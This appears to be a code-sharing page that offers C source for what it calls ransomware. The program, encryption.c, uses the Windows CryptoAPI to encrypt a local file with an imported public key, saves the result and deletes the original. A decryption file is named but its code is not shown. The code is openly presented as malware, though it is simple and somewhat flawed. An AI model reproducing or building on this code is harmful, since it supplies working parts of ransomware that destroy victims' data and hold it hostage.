Encryption Files c
This Is Runsomware You Can Enc Files with AES Key But Small Files Only
Small Files Only
encryption.c
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")
#define ENCRYPTED_FILE "encrypted.bin"
#define PUBLIC_KEY_FILE "PublicKey.txt"
void HandleError(const char* msg) {
fprintf(stderr, "%s. Error: %ld\n", msg, GetLastError());
exit(1);
}
int main() {
// Open Public Key FIle
FILE* pubKeyFile = fopen(PUBLIC_KEY_FILE, "rb");
if (!pubKeyFile) {
HandleError("Failed to open public key file");
}
// Read Public Key
fseek(pubKeyFile, 0, SEEK_END);
long keySize = ftell(pubKeyFile);
fseek(pubKeyFile, 0, SEEK_SET);
BYTE* publicKey = (BYTE*)malloc(keySize);
if (!publicKey) {
HandleError("Memory allocation failed for public key");
}
fread(publicKey, 1, keySize, pubKeyFile);
fclose(pubKeyFile);
// Open File
FILE* inputFile = fopen("input.txt", "rb");
if (!inputFile) {
HandleError("Failed to open input file");
}
fseek(inputFile, 0, SEEK_END);
long fileSize = ftell(inputFile);
fseek(inputFile, 0, SEEK_SET);
BYTE* fileData = (BYTE*)malloc(fileSize);
if (!fileData) {
HandleError("Memory allocation failed for file data");
}
fread(fileData, 1, fileSize, inputFile);
fclose(inputFile);
HCRYPTPROV hCryptProv;
if (!CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
HandleError("CryptAcquireContext failed");
}
// Export Public Key
HCRYPTKEY hPubKey;
if (!CryptImportKey(hCryptProv, publicKey, keySize, 0, 0, &hPubKey)) {
HandleError("CryptImportKey failed");
}
free(publicKey);
// Enc Data
DWORD encryptedSize = fileSize;
if (!CryptEncrypt(hPubKey, 0, TRUE, 0, NULL, &encryptedSize, 0)) {
HandleError("Failed to calculate encrypted size");
}
BYTE* encryptedData = (BYTE*)malloc(encryptedSize);
if (!encryptedData) {
HandleError("Memory allocation failed for encrypted data");
}
memcpy(encryptedData, fileData, fileSize);
free(fileData);
if (!CryptEncrypt(hPubKey, 0, TRUE, 0, encryptedData, &fileSize, encryptedSize)) {
HandleError("CryptEncrypt failed");
}
// Save Enc Data in File
FILE* encryptedFile = fopen(ENCRYPTED_FILE, "wb");
if (!encryptedFile) {
HandleError("Failed to open encrypted file for writing");
}
fwrite(encryptedData, 1, encryptedSize, encryptedFile);
fclose(encryptedFile);
free(encryptedData);
CryptDestroyKey(hPubKey);
CryptReleaseContext(hCryptProv, 0);
if (remove("input.txt") == 0) {
printf("[!] file Delete Suc .\n");
}
else {
perror("[!] Error To Delete File ");
}
printf("File encrypted successfully.\n");
return 0;
}
Decryption.c
Last updated